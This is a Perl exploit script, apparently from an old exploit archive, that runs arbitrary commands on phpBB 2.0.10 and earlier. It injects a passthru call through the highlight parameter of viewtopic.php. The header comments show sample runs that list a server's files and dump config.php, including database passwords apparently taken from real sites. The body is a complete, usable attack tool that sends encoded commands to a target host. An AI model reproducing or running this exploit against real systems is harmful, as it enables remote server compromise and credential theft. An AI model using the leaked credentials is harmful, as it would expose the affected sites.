phpBB <= 2.0.10 Remote Command Execution Exploit

                                                #!/usr/bin/perl

use IO::Socket;

##                     @@@@@@@   @@@  @@@   @@@@@@  @@@  @@@
##                     @@!  @@@  @@!  @@@  !@@      @@!  @@@
##                     @!@!!@!   @!@  !@!   !@@!!   @!@!@!@!
##                     !!: :!!   !!:  !!!      !:!  !!:  !!!
##                      :   : :   :.:: :   ::.: :    :   : :
##
## phpBB <= 2.0.10 remote commands exec exploit
## based on http://securityfocus.com/archive/1/380993/2004-11-07/2004-11-13/0
## succesfully tested on: 2.0.6 , 2.0.8 , 2.0.9 , 2.0.10
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## example...
## he-he-he ... read http://www.phpbb.com/phpBB/viewtopic.php?t=239819
## The third issue, search highlighting, has been checked by us several times and we can do 
## nothing with it at all. Again, that particular group admit likewise. In a future release 
## of 2.0.x we will eliminate the problem once and for all, but as noted it cannot (to our 
## knowledge and as noted, testing) be taken advantage of and thus is not considered by us to 
## be cause for an immediate release.
## heh...
##
## r57phpbb2010.pl www.phpbb.com /phpBB/ 239819 "ls -la"
## *** CMD: [ ls -la ]
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
##   total 507
##   drwxr-xr-x   12 dhn      phpbb         896 Oct 13 18:23 .
##   drwxrwxr-x   19 root     phpbb        1112 Nov 12 15:08 ..
##   drwxr-xr-x    2 dhn      phpbb         152 Oct 13 18:23 CVS
##   drwxr-xr-x    3 dhn      phpbb         944 Jul 19 15:17 admin
##   drwxrwxrwx    5 dhn      phpbb         160 Aug 14 21:19 cache
##   -rw-r--r--    1 dhn      phpbb       44413 Mar 11  2004 catdb.php
##   -rw-r--r--    1 dhn      phpbb        5798 Jul 19 15:17 common.php
##   -rw-r--r--    1 root     root          264 Jul  2 08:05 config.php
##   drwxr-xr-x    3 dhn      phpbb         136 Jun 24 06:40 db
##   drwxr-xr-x    3 dhn      phpbb         320 Jul 19 15:17 docs
##   -rw-r--r--    1 dhn      phpbb         814 Oct 30  2003 extension.inc
##   -rw-r--r--    1 dhn      phpbb        3646 Jul 10 04:21 faq.php
##   drwxr-xr-x    2 dhn      phpbb          96 Aug 12 14:59 files
##   -rw-r--r--    1 dhn      phpbb       45642 Jul 12 12:42 groupcp.php
##   drwxr-xr-x    7 dhn      phpbb         240 Aug 12 16:22 images
##   drwxr-xr-x    3 dhn      phpbb        1048 Jul 19 15:17 includes
##   -rw-r--r--    1 dhn      phpbb       14518 Jul 10 04:21 index.php
##   drwxr-xr-x   60 dhn      phpbb        2008 Sep 27 01:54 language
##   -rw-r--r--    1 dhn      phpbb        7481 Jul 19 15:17 login.php
##   -rw-r--r--    1 dhn      phpbb       12321 Mar  4  2004 memberlist.php
##   -rw-r--r--    1 dhn      phpbb       37639 Jul 10 04:21 modcp.php
##   -rw-r--r--    1 dhn      phpbb       45945 Mar 24  2004 mods_manager.php
##   -rw-r--r--    1 dhn      phpbb       34447 Jul 10 04:21 posting.php
##   -rw-r--r--    1 dhn      phpbb       72580 Jul 10 04:21 privmsg.php
##   -rw-r--r--    1 dhn      phpbb        4190 Jul 12 12:42 profile.php
##   -rw-r--r--    1 dhn      phpbb       16276 Oct 13 18:23 rules.php
##   -rw-r--r--    1 dhn      phpbb       42694 Jul 19 15:17 search.php
##   drwxr-xr-x    4 dhn      phpbb         136 Jun 24 06:41 templates
##   -rw-r--r--    1 dhn      phpbb       23151 Mar 13  2004 viewforum.php
##   -rw-r--r--    1 dhn      phpbb        7237 Jul 10 04:21 viewonline.php
##   -rw-r--r--    1 dhn      phpbb       45151 Jul 10 04:21 viewtopic.php
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## r57phpbb2010.pl www.phpbb.com /phpBB/ 239819 "cat config.php"
## *** CMD: [ cat config.php ]
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
##   $dbms = "mysql";
##   $dbhost = "localhost";
##   $dbname = "phpbb";
##   $dbuser = "phpbb";
##   $dbpasswd = "phpBB_R0cKs";
##   $table_prefix = "phpbb_";
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## rocksss.... 
##
## P.S. this code public after phpbb.com was defaced by really stupid man with nickname tristam...
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
## fucking lamaz...
##
## ccteam.ru
## $dbname   = "ccteam_phpbb2";
## $dbuser   = "ccteam_userphpbb";
## $dbpasswd = "XCbRsoy1";
##
## eat this dude...
## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

if (@ARGV < 4)
 {
 print q(############################################################
     phpBB <=2.0.10 remote command execution exploit
        by RusH security team // www.rst.void.ru
############################################################
 usage:
 r57phpbb2010.pl [URL] [DIR] [NUM] [CMD]
 params:
  [URL] - server url e.g. www.phpbb.com
  [DIR] - directory where phpBB installed e.g. /phpBB/ or /
  [NUM] - number of existing topic
  [CMD] - command for execute e.g. ls or "ls -la" 
############################################################
 );   
 exit;
 }

$serv  = $ARGV[0];
$dir   = $ARGV[1];
$topic = $ARGV[2];
$cmd   = $ARGV[3];

$serv =~ s/(http:\/\/)//eg;
print "*** CMD: [ $cmd ]\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

$cmd=~ s/(.*);$/$1/eg;
$cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;

$path  = $dir;
$path .= 'viewtopic.php?t=';
$path .= $topic;
$path .= '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20';
$path .= $cmd;
$path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F';
$path .= '&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527';

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-] CONNECT FAILED\r\n";

print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

$on = 0;

while ($answer = <$socket>)
{
if ($answer =~ /^_END_/) { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; exit(); }
if ($on == 1) { print "  $answer"; }
if ($answer =~ /^_START_/) { $on = 1; }
}

print "[-] EXPLOIT FAILED\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n";

### EOF ###

# milw0rm.com [2004-11-22]